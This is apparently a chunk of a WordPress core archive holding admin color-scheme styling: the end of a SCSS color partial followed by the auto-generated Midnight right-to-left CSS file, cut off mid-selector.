.ab-item:before, #wpadminbar li a:focus .ab-icon:before, #wpadminbar li .ab-item:focus:before, #wpadminbar li .ab-item:focus .ab-icon:before, #wpadminbar li.hover .ab-icon:before, #wpadminbar li.hover .ab-item:before, #wpadminbar li:hover #adminbarsearch:before, #wpadminbar li #adminbarsearch.adminbar-focused:before { color: variables.$menu-submenu-focus-text; } #wpadminbar .quicklinks li a:hover .blavatar, #wpadminbar .quicklinks li a:focus .blavatar, #wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover > a .blavatar, #wpadminbar .menupop .menupop > .ab-item:hover:before, #wpadminbar.mobile .quicklinks .hover .ab-icon:before, #wpadminbar.mobile .quicklinks .hover .ab-item:before { color: variables.$menu-submenu-focus-text; } #wpadminbar.mobile .quicklinks .ab-icon:before, #wpadminbar.mobile .quicklinks .ab-item:before { color: variables.$menu-icon; } /* Admin Bar: search */ #wpadminbar #adminbarsearch:before { color: variables.$menu-icon; } #wpadminbar > #wp-toolbar > #wp-admin-bar-top-secondary > #wp-admin-bar-search #adminbarsearch input.adminbar-input:focus { color: variables.$menu-text; background: variables.$adminbar-input-background; } /* Admin Bar: recovery mode */ #wpadminbar #wp-admin-bar-recovery-mode { color: variables.$adminbar-recovery-exit-text; background-color: variables.$adminbar-recovery-exit-background; } #wpadminbar #wp-admin-bar-recovery-mode .ab-item, #wpadminbar #wp-admin-bar-recovery-mode a.ab-item { color: variables.$adminbar-recovery-exit-text; } #wpadminbar .ab-top-menu > #wp-admin-bar-recovery-mode.hover >.ab-item, #wpadminbar.nojq .quicklinks .ab-top-menu > #wp-admin-bar-recovery-mode > .ab-item:focus, #wpadminbar:not(.mobile) .ab-top-menu > #wp-admin-bar-recovery-mode:hover > .ab-item, #wpadminbar:not(.mobile) .ab-top-menu > #wp-admin-bar-recovery-mode > .ab-item:focus { color: variables.$adminbar-recovery-exit-text; background-color: variables.$adminbar-recovery-exit-background-alt; } /* Admin Bar: my account */ #wpadminbar .quicklinks li#wp-admin-bar-my-account.with-avatar > a img { border-color: variables.$adminbar-avatar-frame; background-color: variables.$adminbar-avatar-frame; } #wpadminbar #wp-admin-bar-user-info .display-name { color: variables.$menu-text; } #wpadminbar #wp-admin-bar-user-info a:hover .display-name { color: variables.$menu-submenu-focus-text; } #wpadminbar #wp-admin-bar-user-info .username { color: variables.$menu-submenu-text; } /* Pointers */ .wp-pointer .wp-pointer-content h3 { background-color: variables.$highlight-color; border-color: color.adjust(variables.$highlight-color, $lightness: -5%); } .wp-pointer .wp-pointer-content h3:before { color: variables.$highlight-color; } .wp-pointer.wp-pointer-top .wp-pointer-arrow, .wp-pointer.wp-pointer-top .wp-pointer-arrow-inner, .wp-pointer.wp-pointer-undefined .wp-pointer-arrow, .wp-pointer.wp-pointer-undefined .wp-pointer-arrow-inner { border-bottom-color: variables.$highlight-color; } /* Media */ .media-item .bar, .media-progress-bar div { background-color: variables.$highlight-color; } .details.attachment { box-shadow: inset 0 0 0 3px #fff, inset 0 0 0 7px variables.$highlight-color; } .attachment.details .check { background-color: variables.$highlight-color; box-shadow: 0 0 0 1px #fff, 0 0 0 2px variables.$highlight-color; } .media-selection .attachment.selection.details .thumbnail { box-shadow: 0 0 0 1px #fff, 0 0 0 3px variables.$highlight-color; } /* Themes */ .theme-browser .theme.active .theme-name, .theme-browser .theme.add-new-theme a:hover:after, .theme-browser .theme.add-new-theme a:focus:after { background: variables.$highlight-color; } .theme-browser .theme.add-new-theme a:hover span:after, .theme-browser .theme.add-new-theme a:focus span:after { color: variables.$highlight-color; } .theme-section.current, .theme-filter.current { border-bottom-color: variables.$menu-background; } body.more-filters-opened .more-filters { color: variables.$menu-text; background-color: variables.$menu-background; } body.more-filters-opened .more-filters:before { color: variables.$menu-text; } body.more-filters-opened .more-filters:hover, body.more-filters-opened .more-filters:focus { background-color: variables.$menu-highlight-background; color: variables.$menu-highlight-text; } body.more-filters-opened .more-filters:hover:before, body.more-filters-opened .more-filters:focus:before { color: variables.$menu-highlight-text; } /* Widgets */ .widgets-chooser li.widgets-chooser-selected { background-color: variables.$menu-highlight-background; color: variables.$menu-highlight-text; } .widgets-chooser li.widgets-chooser-selected:before, .widgets-chooser li.widgets-chooser-selected:focus:before { color: variables.$menu-highlight-text; } /* Nav Menus */ .nav-menus-php .item-edit:focus:before { box-shadow: 0 0 0 1px color.adjust(variables.$button-color, $lightness: 10%), 0 0 2px 1px variables.$button-color; } /* Responsive Component */ div#wp-responsive-toggle a:before { color: variables.$menu-icon; } .wp-responsive-open div#wp-responsive-toggle a { // ToDo: make inset border border-color: transparent; background: variables.$menu-highlight-background; } .wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle a { background: variables.$menu-submenu-background; } .wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle .ab-icon:before { color: variables.$menu-icon; } /* TinyMCE */ .mce-container.mce-menu .mce-menu-item:hover, .mce-container.mce-menu .mce-menu-item.mce-selected, .mce-container.mce-menu .mce-menu-item:focus, .mce-container.mce-menu .mce-menu-item-normal.mce-active, .mce-container.mce-menu .mce-menu-item-preview.mce-active { background: variables.$highlight-color; } /* Customizer */ .wp-core-ui { #customize-controls .control-section:hover > .accordion-section-title, #customize-controls .control-section .accordion-section-title:hover, #customize-controls .control-section.open .accordion-section-title, #customize-controls .control-section .accordion-section-title:focus { color: variables.$link; border-left-color: variables.$button-color; } .customize-controls-close:focus, .customize-controls-close:hover, .customize-controls-preview-toggle:focus, .customize-controls-preview-toggle:hover { color: variables.$link; border-top-color: variables.$button-color; } .customize-panel-back:hover, .customize-panel-back:focus, .customize-section-back:hover, .customize-section-back:focus { color: variables.$link; border-left-color: variables.$button-color; } .customize-screen-options-toggle:hover, .customize-screen-options-toggle:active, .customize-screen-options-toggle:focus, .active-menu-screen-options .customize-screen-options-toggle, #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:hover, #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:active, #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:focus { color: variables.$link; } .customize-screen-options-toggle:focus:before, #customize-controls .customize-info .customize-help-toggle:focus:before, &.wp-customizer button:focus .toggle-indicator:before, .menu-item-bar .item-delete:focus:before, #available-menu-items .item-add:focus:before, #customize-save-button-wrapper .save:focus, #publish-settings:focus { box-shadow: 0 0 0 1px color.adjust(variables.$button-color, $lightness: 10%), 0 0 2px 1px variables.$button-color; } #customize-controls .customize-info.open .customize-help-toggle, #customize-controls .customize-info .customize-help-toggle:focus, #customize-controls .customize-info .customize-help-toggle:hover { color: variables.$link; } .control-panel-themes .customize-themes-section-title:focus, .control-panel-themes .customize-themes-section-title:hover { border-left-color: variables.$button-color; color: variables.$link; } .control-panel-themes .theme-section .customize-themes-section-title.selected:after { background: variables.$button-color; } .control-panel-themes .customize-themes-section-title.selected { color: variables.$link; } #customize-theme-controls .control-section:hover > .accordion-section-title:after, #customize-theme-controls .control-section .accordion-section-title:hover:after, #customize-theme-controls .control-section.open .accordion-section-title:after, #customize-theme-controls .control-section .accordion-section-title:focus:after, #customize-outer-theme-controls .control-section:hover > .accordion-section-title:after, #customize-outer-theme-controls .control-section .accordion-section-title:hover:after, #customize-outer-theme-controls .control-section.open .accordion-section-title:after, #customize-outer-theme-controls .control-section .accordion-section-title:focus:after { color: variables.$link; } .customize-control .attachment-media-view .button-add-media:focus { background-color: #fbfbfc; border-color: variables.$button-color; border-style: solid; box-shadow: 0 0 0 1px variables.$button-color; outline: 2px solid transparent; } .wp-full-overlay-footer .devices button:focus, .wp-full-overlay-footer .devices button.active:hover { border-bottom-color: variables.$button-color; } .wp-full-overlay-footer .devices button:hover:before, .wp-full-overlay-footer .devices button:focus:before { color: variables.$button-color; } .wp-full-overlay .collapse-sidebar:hover, .wp-full-overlay .collapse-sidebar:focus { color: variables.$button-color; } .wp-full-overlay .collapse-sidebar:hover .collapse-sidebar-arrow, .wp-full-overlay .collapse-sidebar:focus .collapse-sidebar-arrow { box-shadow: 0 0 0 1px color.adjust(variables.$button-color, $lightness: 10%), 0 0 2px 1px variables.$button-color; } &.wp-customizer .theme-overlay .theme-header .close:focus, &.wp-customizer .theme-overlay .theme-header .close:hover, &.wp-customizer .theme-overlay .theme-header .right:focus, &.wp-customizer .theme-overlay .theme-header .right:hover, &.wp-customizer .theme-overlay .theme-header .left:focus, &.wp-customizer .theme-overlay .theme-header .left:hover { border-bottom-color: variables.$button-color; color: variables.$link; } } css/colors/midnight/colors-rtl.css 0000644 00000061454 15233246127 0013271 0 ustar 00 /*! This file is auto-generated */ /* * Button mixin - creates a primary button effect. * Uses CSS custom properties for theme color support across color schemes. */ /* * Secondary button mixin - outlined style with theme color. * Matches Gutenberg's .is-secondary button variant. */ /* * Tertiary button mixin - transparent background, gray text. */ /** * This function name uses British English to maintain backward compatibility, as developers * may use the function in their own admin CSS files. See #56811. */ body { background: #f0f0f0; } /* Links */ a { color: #0073aa; } a:hover, a:active, a:focus { color: rgb(0, 149.5, 221); } #post-body .misc-pub-post-status:before, #post-body #visibility:before, .curtime #timestamp:before, #post-body .misc-pub-revisions:before, span.wp-media-buttons-icon:before { color: currentColor; } /* Link button - appears as text link, no border or background */ /* Matches Gutenberg's .is-link button variant */ .wp-core-ui .button-link, .wp-core-ui .button.button-link { color: var(--wp-admin-theme-color); } .wp-core-ui .button-link:hover, .wp-core-ui .button-link:active, .wp-core-ui .button.button-link:hover, .wp-core-ui .button.button-link:active { color: var(--wp-admin-theme-color-darker-20); } .wp-core-ui .button-link:focus, .wp-core-ui .button.button-link:focus { color: var(--wp-admin-theme-color); border-radius: 2px; box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); outline: 1px solid transparent; } .wp-core-ui .button-link:disabled, .wp-core-ui .button-link[aria-disabled=true], .wp-core-ui .button.button-link:disabled, .wp-core-ui .button.button-link[aria-disabled=true] { color: #949494; } .media-modal .delete-attachment, .media-modal .trash-attachment, .media-modal .untrash-attachment, .wp-core-ui .button-link-delete { color: #cc1818; } .media-modal .delete-attachment:hover, .media-modal .trash-attachment:hover, .media-modal .untrash-attachment:hover, .media-modal .delete-attachment:focus, .media-modal .trash-attachment:focus, .media-modal .untrash-attachment:focus, .wp-core-ui .button-link-delete:hover, .wp-core-ui .button-link-delete:focus { color: rgb(230.6842105263, 48.3157894737, 48.3157894737); } /* Forms */ input[type=checkbox]:checked { background: var(--wp-admin-theme-color); border-color: var(--wp-admin-theme-color); } input[type=radio]:checked { background: var(--wp-admin-theme-color); border-color: var(--wp-admin-theme-color); } .wp-core-ui input[type=reset]:hover, .wp-core-ui input[type=reset]:active { color: rgb(0, 149.5, 221); } input[type=text]:focus, input[type=password]:focus, input[type=color]:focus, input[type=date]:focus, input[type=datetime]:focus, input[type=datetime-local]:focus, input[type=email]:focus, input[type=month]:focus, input[type=number]:focus, input[type=search]:focus, input[type=tel]:focus, input[type=time]:focus, input[type=url]:focus, input[type=week]:focus, select:focus, textarea:focus { border-color: var(--wp-admin-theme-color); box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); } input[type=checkbox]:focus, input[type=radio]:focus { border-color: #1e1e1e; box-shadow: 0 0 0 2px #ffffff, 0 0 0 4px var(--wp-admin-theme-color); outline: 2px solid transparent; } .wp-core-ui select:focus { border-color: var(--wp-admin-theme-color); box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); } .wp-tags-autocomplete .ui-state-focus, .wp-tags-autocomplete [aria-selected=true] { background-color: var(--wp-admin-theme-color); } #pass1:focus, #pass1-text:focus { box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); } .mailserver-pass-wrap .button.wp-hide-pw:focus { border-color: var(--wp-admin-theme-color); box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); } /* Core UI */ .wp-core-ui { /* Default button - theme color border and text (matches secondary) */ } .wp-core-ui .button { background: transparent; border: 1px solid var(--wp-admin-theme-color); border-radius: 2px; color: var(--wp-admin-theme-color); } .wp-core-ui .button:hover { background: rgba(var(--wp-admin-theme-color--rgb), 0.04); border-color: var(--wp-admin-theme-color-darker-20); color: var(--wp-admin-theme-color-darker-20); } .wp-core-ui .button:focus { background: transparent; border-color: var(--wp-admin-theme-color); color: var(--wp-admin-theme-color); box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); outline: 1px solid transparent; } .wp-core-ui .button:active { background: rgba(var(--wp-admin-theme-color--rgb), 0.08); border-color: var(--wp-admin-theme-color-darker-20); color: var(--wp-admin-theme-color-darker-20); box-shadow: none; } .wp-core-ui .button:disabled, .wp-core-ui .button.disabled { background: transparent; border-color: #dddddd; color: #949494; cursor: not-allowed; } .wp-core-ui { /* Secondary button - same as default */ } .wp-core-ui .button-secondary { background: transparent; border: 1px solid var(--wp-admin-theme-color); border-radius: 2px; color: var(--wp-admin-theme-color); } .wp-core-ui .button-secondary:hover { background: rgba(var(--wp-admin-theme-color--rgb), 0.04); border-color: var(--wp-admin-theme-color-darker-20); color: var(--wp-admin-theme-color-darker-20); } .wp-core-ui .button-secondary:focus { background: transparent; border-color: var(--wp-admin-theme-color); color: var(--wp-admin-theme-color); box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); outline: 1px solid transparent; } .wp-core-ui .button-secondary:active { background: rgba(var(--wp-admin-theme-color--rgb), 0.08); border-color: var(--wp-admin-theme-color-darker-20); color: var(--wp-admin-theme-color-darker-20); box-shadow: none; } .wp-core-ui .button-secondary:disabled, .wp-core-ui .button-secondary.disabled { background: transparent; border-color: #dddddd; color: #949494; cursor: not-allowed; } .wp-core-ui { /* Primary button - theme color background */ } .wp-core-ui .button-primary { background: var(--wp-admin-theme-color); border-color: transparent; border-radius: 2px; color: #fff; } .wp-core-ui .button-primary:hover { background: var(--wp-admin-theme-color-darker-10); border-color: transparent; color: #fff; } .wp-core-ui .button-primary:focus { background: var(--wp-admin-theme-color); border-color: transparent; color: #fff; /* Gutenberg-style focus ring: outer theme color + inset white for contrast */ box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color), inset 0 0 0 1px #ffffff; /* Visible in Windows High Contrast mode */ outline: 1px solid transparent; } .wp-core-ui .button-primary:active { background: var(--wp-admin-theme-color-darker-20); border-color: transparent; color: #fff; } .wp-core-ui .button-primary:disabled, .wp-core-ui .button-primary.disabled { background: #f0f0f0; border-color: transparent; color: #949494; cursor: not-allowed; } .wp-core-ui .button-primary.active, .wp-core-ui .button-primary.active:focus, .wp-core-ui .button-primary.active:hover { background: var(--wp-admin-theme-color-darker-10); color: #fff; border-color: transparent; box-shadow: none; } .wp-core-ui .button-group > .button.active { border-color: var(--wp-admin-theme-color); background: rgba(var(--wp-admin-theme-color--rgb), 0.08); } .wp-core-ui .wp-ui-primary { color: #fff; background-color: #363b3f; } .wp-core-ui .wp-ui-text-primary { color: #363b3f; } .wp-core-ui .wp-ui-highlight { color: #fff; background-color: #e14d43; } .wp-core-ui .wp-ui-text-highlight { color: #e14d43; } .wp-core-ui .wp-ui-notification { color: #fff; background-color: #69a8bb; } .wp-core-ui .wp-ui-text-notification { color: #69a8bb; } .wp-core-ui .wp-ui-text-icon { color: hsl(206.6666666667, 7%, 95%); } /* List tables */ .wrap .page-title-action { background: transparent; border: 1px solid var(--wp-admin-theme-color); border-radius: 2px; color: var(--wp-admin-theme-color); } .wrap .page-title-action:hover { background: rgba(var(--wp-admin-theme-color--rgb), 0.04); border-color: var(--wp-admin-theme-color-darker-20); color: var(--wp-admin-theme-color-darker-20); } .wrap .page-title-action:focus { background: transparent; border-color: var(--wp-admin-theme-color); color: var(--wp-admin-theme-color); box-shadow: 0 0 0 var(--wp-admin-border-width-focus, 1.5px) var(--wp-admin-theme-color); outline: 1px solid transparent; } .wrap .page-title-action:active { background: rgba(var(--wp-admin-theme-color--rgb), 0.08); border-color: var(--wp-admin-theme-color-darker-20); color: var(--wp-admin-theme-color-darker-20); box-shadow: none; } .view-switch a.current:before { color: #363b3f; } .view-switch a:hover:before { color: #69a8bb; } /* Admin Menu */ #adminmenuback, #adminmenuwrap, #adminmenu { background: #363b3f; } #adminmenu a { color: #fff; } #adminmenu div.wp-menu-image:before { color: hsl(206.6666666667, 7%, 95%); } #adminmenu a:hover, #adminmenu li.menu-top:hover, #adminmenu li.opensub > a.menu-top, #adminmenu li > a.menu-top:focus { color: #fff; background-color: #e14d43; } #adminmenu li.menu-top:hover div.wp-menu-image:before, #adminmenu li.opensub > a.menu-top div.wp-menu-image:before { color: #fff; } /* Active tabs use a bottom border color that matches the page background color. */ .about-wrap .nav-tab-active, .nav-tab-active, .nav-tab-active:hover { background-color: #f0f0f0; border-bottom-color: #f0f0f0; } /* Admin Menu: submenu */ #adminmenu .wp-submenu, #adminmenu .wp-has-current-submenu .wp-submenu, #adminmenu .wp-has-current-submenu.opensub .wp-submenu, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu { background: rgb(37.5230769231, 40.9974358974, 43.7769230769); } #adminmenu li.wp-has-submenu.wp-not-current-submenu.opensub:hover:after, #adminmenu li.wp-has-submenu.wp-not-current-submenu:focus-within:after { border-left-color: rgb(37.5230769231, 40.9974358974, 43.7769230769); } #adminmenu .wp-submenu .wp-submenu-head { color: rgb(194.7, 196.2, 197.4); } #adminmenu .wp-submenu a, #adminmenu .wp-has-current-submenu .wp-submenu a, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu a, #adminmenu .wp-has-current-submenu.opensub .wp-submenu a { color: rgb(194.7, 196.2, 197.4); } #adminmenu .wp-submenu a:focus, #adminmenu .wp-submenu a:hover, #adminmenu .wp-has-current-submenu .wp-submenu a:focus, #adminmenu .wp-has-current-submenu .wp-submenu a:hover, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu a:focus, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu a:hover, #adminmenu .wp-has-current-submenu.opensub .wp-submenu a:focus, #adminmenu .wp-has-current-submenu.opensub .wp-submenu a:hover { color: #e14d43; } /* Admin Menu: current */ #adminmenu .wp-submenu li.current a, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a, #adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a { color: #fff; } #adminmenu .wp-submenu li.current a:hover, #adminmenu .wp-submenu li.current a:focus, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a:hover, #adminmenu a.wp-has-current-submenu:focus + .wp-submenu li.current a:focus, #adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:hover, #adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:focus { color: #e14d43; } ul#adminmenu a.wp-has-current-submenu:after, ul#adminmenu > li.current > a.current:after { border-left-color: #f0f0f0; } #adminmenu li.current a.menu-top, #adminmenu li.wp-has-current-submenu a.wp-has-current-submenu, #adminmenu li.wp-has-current-submenu .wp-submenu .wp-submenu-head, .folded #adminmenu li.current.menu-top { color: #fff; background: #e14d43; } #adminmenu li.wp-has-current-submenu div.wp-menu-image:before, #adminmenu a.current:hover div.wp-menu-image:before, #adminmenu li.current div.wp-menu-image:before, #adminmenu li.wp-has-current-submenu a:focus div.wp-menu-image:before, #adminmenu li.wp-has-current-submenu.opensub div.wp-menu-image:before, #adminmenu li:hover div.wp-menu-image:before, #adminmenu li a:focus div.wp-menu-image:before, #adminmenu li.opensub div.wp-menu-image:before { color: #fff; } /* Admin Menu: bubble */ #adminmenu .menu-counter, #adminmenu .awaiting-mod, #adminmenu .update-plugins { color: #fff; background: #69a8bb; } #adminmenu li.current a .awaiting-mod, #adminmenu li a.wp-has-current-submenu .update-plugins, #adminmenu li:hover a .awaiting-mod, #adminmenu li.menu-top:hover > a .update-plugins { color: #fff; background: rgb(37.5230769231, 40.9974358974, 43.7769230769); } /* Admin Menu: collapse button */ #collapse-button { color: hsl(206.6666666667, 7%, 95%); } #collapse-button:hover, #collapse-button:focus { color: #e14d43; } /* Admin Bar */ #wpadminbar { color: #fff; background: #363b3f; } #wpadminbar .ab-item, #wpadminbar a.ab-item, #wpadminbar > #wp-toolbar span.ab-label, #wpadminbar > #wp-toolbar span.noticon { color: #fff; } #wpadminbar .ab-icon, #wpadminbar .ab-icon:before, #wpadminbar .ab-item:before, #wpadminbar .ab-item:after { color: hsl(206.6666666667, 7%, 95%); } #wpadminbar:not(.mobile) .ab-top-menu > li:hover > .ab-item, #wpadminbar:not(.mobile) .ab-top-menu > li > .ab-item:focus, #wpadminbar.nojq .quicklinks .ab-top-menu > li > .ab-item:focus, #wpadminbar.nojs .ab-top-menu > li.menupop:hover > .ab-item, #wpadminbar .ab-top-menu > li.menupop.hover > .ab-item { color: #e14d43; background: rgb(37.5230769231, 40.9974358974, 43.7769230769); } #wpadminbar:not(.mobile) > #wp-toolbar li:hover span.ab-label, #wpadminbar:not(.mobile) > #wp-toolbar li.hover span.ab-label, #wpadminbar:not(.mobile) > #wp-toolbar a:focus span.ab-label { color: #e14d43; } #wpadminbar:not(.mobile) li:hover .ab-icon:before, #wpadminbar:not(.mobile) li:hover .ab-item:before, #wpadminbar:not(.mobile) li:hover .ab-item:after, #wpadminbar:not(.mobile) li:hover #adminbarsearch:before { color: #e14d43; } /* Admin Bar: submenu */ #wpadminbar .menupop .ab-sub-wrapper { background: rgb(37.5230769231, 40.9974358974, 43.7769230769); } #wpadminbar .quicklinks .menupop ul.ab-sub-secondary, #wpadminbar .quicklinks .menupop ul.ab-sub-secondary .ab-submenu { background: rgb(75.8214230769, 76.4087307692, 76.8785769231); } #wpadminbar .ab-submenu .ab-item, #wpadminbar .quicklinks .menupop ul li a, #wpadminbar .quicklinks .menupop.hover ul li a, #wpadminbar.nojs .quicklinks .menupop:hover ul li a { color: rgb(194.7, 196.2, 197.4); } #wpadminbar .quicklinks li .blavatar, #wpadminbar .menupop .menupop > .ab-item:before { color: hsl(206.6666666667, 7%, 95%); } #wpadminbar .quicklinks .menupop ul li a:hover, #wpadminbar .quicklinks .menupop ul li a:focus, #wpadminbar .quicklinks .menupop ul li a:hover strong, #wpadminbar .quicklinks .menupop ul li a:focus strong, #wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover > a, #wpadminbar .quicklinks .menupop.hover ul li a:hover, #wpadminbar .quicklinks .menupop.hover ul li a:focus, #wpadminbar.nojs .quicklinks .menupop:hover ul li a:hover, #wpadminbar.nojs .quicklinks .menupop:hover ul li a:focus, #wpadminbar li:hover .ab-icon:before, #wpadminbar li:hover .ab-item:before, #wpadminbar li a:focus .ab-icon:before, #wpadminbar li .ab-item:focus:before, #wpadminbar li .ab-item:focus .ab-icon:before, #wpadminbar li.hover .ab-icon:before, #wpadminbar li.hover .ab-item:before, #wpadminbar li:hover #adminbarsearch:before, #wpadminbar li #adminbarsearch.adminbar-focused:before { color: #e14d43; } #wpadminbar .quicklinks li a:hover .blavatar, #wpadminbar .quicklinks li a:focus .blavatar, #wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover > a .blavatar, #wpadminbar .menupop .menupop > .ab-item:hover:before, #wpadminbar.mobile .quicklinks .hover .ab-icon:before, #wpadminbar.mobile .quicklinks .hover .ab-item:before { color: #e14d43; } #wpadminbar.mobile .quicklinks .ab-icon:before, #wpadminbar.mobile .quicklinks .ab-item:before { color: hsl(206.6666666667, 7%, 95%); } /* Admin Bar: search */ #wpadminbar #adminbarsearch:before { color: hsl(206.6666666667, 7%, 95%); } #wpadminbar > #wp-toolbar > #wp-admin-bar-top-secondary > #wp-admin-bar-search #adminbarsearch input.adminbar-input:focus { color: #fff; background: rgb(70.4769230769, 77.0025641026, 82.2230769231); } /* Admin Bar: recovery mode */ #wpadminbar #wp-admin-bar-recovery-mode { color: #fff; background-color: #69a8bb; } #wpadminbar #wp-admin-bar-recovery-mode .ab-item, #wpadminbar #wp-admin-bar-recovery-mode a.ab-item { color: #fff; } #wpadminbar .ab-top-menu > #wp-admin-bar-recovery-mode.hover > .ab-item, #wpadminbar.nojq .quicklinks .ab-top-menu > #wp-admin-bar-recovery-mode > .ab-item:focus, #wpadminbar:not(.mobile) .ab-top-menu > #wp-admin-bar-recovery-mode:hover > .ab-item, #wpadminbar:not(.mobile) .ab-top-menu > #wp-admin-bar-recovery-mode > .ab-item:focus { color: #fff; background-color: rgb(94.5, 151.2, 168.3); } /* Admin Bar: my account */ #wpadminbar .quicklinks li#wp-admin-bar-my-account.with-avatar > a img { border-color: rgb(70.4769230769, 77.0025641026, 82.2230769231); background-color: rgb(70.4769230769, 77.0025641026, 82.2230769231); } #wpadminbar #wp-admin-bar-user-info .display-name { color: #fff; } #wpadminbar #wp-admin-bar-user-info a:hover .display-name { color: #e14d43; } #wpadminbar #wp-admin-bar-user-info .username { color: rgb(194.7, 196.2, 197.4); } /* Pointers */ .wp-pointer .wp-pointer-content h3 { background-color: #e14d43; border-color: rgb(221.4908256881, 56.1788990826, 45.0091743119); } .wp-pointer .wp-pointer-content h3:before { color: #e14d43; } .wp-pointer.wp-pointer-top .wp-pointer-arrow, .wp-pointer.wp-pointer-top .wp-pointer-arrow-inner, .wp-pointer.wp-pointer-undefined .wp-pointer-arrow, .wp-pointer.wp-pointer-undefined .wp-pointer-arrow-inner { border-bottom-color: #e14d43; } /* Media */ .media-item .bar, .media-progress-bar div { background-color: #e14d43; } .details.attachment { box-shadow: inset 0 0 0 3px #fff, inset 0 0 0 7px #e14d43; } .attachment.details .check { background-color: #e14d43; box-shadow: 0 0 0 1px #fff, 0 0 0 2px #e14d43; } .media-selection .attachment.selection.details .thumbnail { box-shadow: 0 0 0 1px #fff, 0 0 0 3px #e14d43; } /* Themes */ .theme-browser .theme.active .theme-name, .theme-browser .theme.add-new-theme a:hover:after, .theme-browser .theme.add-new-theme a:focus:after { background: #e14d43; } .theme-browser .theme.add-new-theme a:hover span:after, .theme-browser .theme.add-new-theme a:focus span:after { color: #e14d43; } .theme-section.current, .theme-filter.current { border-bottom-color: #363b3f; } body.more-filters-opened .more-filters { color: #fff; background-color: #363b3f; } body.more-filters-opened .more-filters:before { color: #fff; } body.more-filters-opened .more-filters:hover, body.more-filters-opened .more-filters:focus { background-color: #e14d43; color: #fff; } body.more-filters-opened .more-filters:hover:before, body.more-filters-opened .more-filters:focus:before { color: #fff; } /* Widgets */ .widgets-chooser li.widgets-chooser-selected { background-color: #e14d43; color: #fff; } .widgets-chooser li.widgets-chooser-selected:before, .widgets-chooser li.widgets-chooser-selected:focus:before { color: #fff; } /* Nav Menus */ .nav-menus-php .item-edit:focus:before { box-shadow: 0 0 0 1px rgb(232.0183486239, 118.6422018349, 110.9816513761), 0 0 2px 1px #e14d43; } /* Responsive Component */ div#wp-responsive-toggle a:before { color: hsl(206.6666666667, 7%, 95%); } .wp-responsive-open div#wp-responsive-toggle a { border-color: transparent; background: #e14d43; } .wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle a { background: rgb(37.5230769231, 40.9974358974, 43.7769230769); } .wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle .ab-icon:before { color: hsl(206.6666666667, 7%, 95%); } /* TinyMCE */ .mce-container.mce-menu .mce-menu-item:hover, .mce-container.mce-menu .mce-menu-item.mce-selected, .mce-container.mce-menu .mce-menu-item:focus, .mce-container.mce-menu .mce-menu-item-normal.mce-active, .mce-container.mce-menu .mce-menu-item-preview.mce-active { background: #e14d43; } /* Customizer */ .wp-core-ui #customize-controls .control-section:hover > .accordion-section-title, .wp-core-ui #customize-controls .control-section .accordion-section-title:hover, .wp-core-ui #customize-controls .control-section.open .accordion-section-title, .wp-core-ui #customize-controls .control-section .accordion-section-title:focus { color: #0073aa; border-right-color: #e14d43; } .wp-core-ui .customize-controls-close:focus, .wp-core-ui .customize-controls-close:hover, .wp-core-ui .customize-controls-preview-toggle:focus, .wp-core-ui .customize-controls-preview-toggle:hover { color: #0073aa; border-top-color: #e14d43; } .wp-core-ui .customize-panel-back:hover, .wp-core-ui .customize-panel-back:focus, .wp-core-ui .customize-section-back:hover, .wp-core-ui .customize-section-back:focus { color: #0073aa; border-right-color: #e14d43; } .wp-core-ui .customize-screen-options-toggle:hover, .wp-core-ui .customize-screen-options-toggle:active, .wp-core-ui .customize-screen-options-toggle:focus, .wp-core-ui .active-menu-screen-options .customize-screen-options-toggle, .wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:hover, .wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:active, .wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:focus { color: #0073aa; } .wp-core-ui .customize-screen-options-toggle:focus:before, .wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus:before, .wp-core-ui.wp-customizer button:focus .toggle-indicator:before, .wp-core-ui .menu-item-bar .item-delete:focus:before, .wp-core-ui #available-menu-items .item-add:focus:before, .wp-core-ui #customize-save-button-wrapper .save:focus, .wp-core-ui #publish-settings:focus { box-shadow: 0 0 0 1px rgb(232.0183486239, 118.6422018349, 110.9816513761), 0 0 2px 1px #e14d43; } .wp-core-ui #customize-controls .customize-info.open .customize-help-toggle, .wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus, .wp-core-ui #customize-controls .customize-info .customize-help-toggle:hover { color: #0073aa; } .wp-core-ui .control-panel-themes .customize-themes-section-title:focus, .wp-core-ui .control-panel-themes .customize-themes-section-title:hover { border-right-color: #e14d43; color: #0073aa; } .wp-core-ui .control-panel-themes .theme-section .customize-themes-section-title.selected:after { background: #e14d43; } .wp-core-ui .control-panel-themes .customize-themes-section-title.selected { color: #0073aa; } .wp-core-ui #customize-theme-controls .control-section:hover 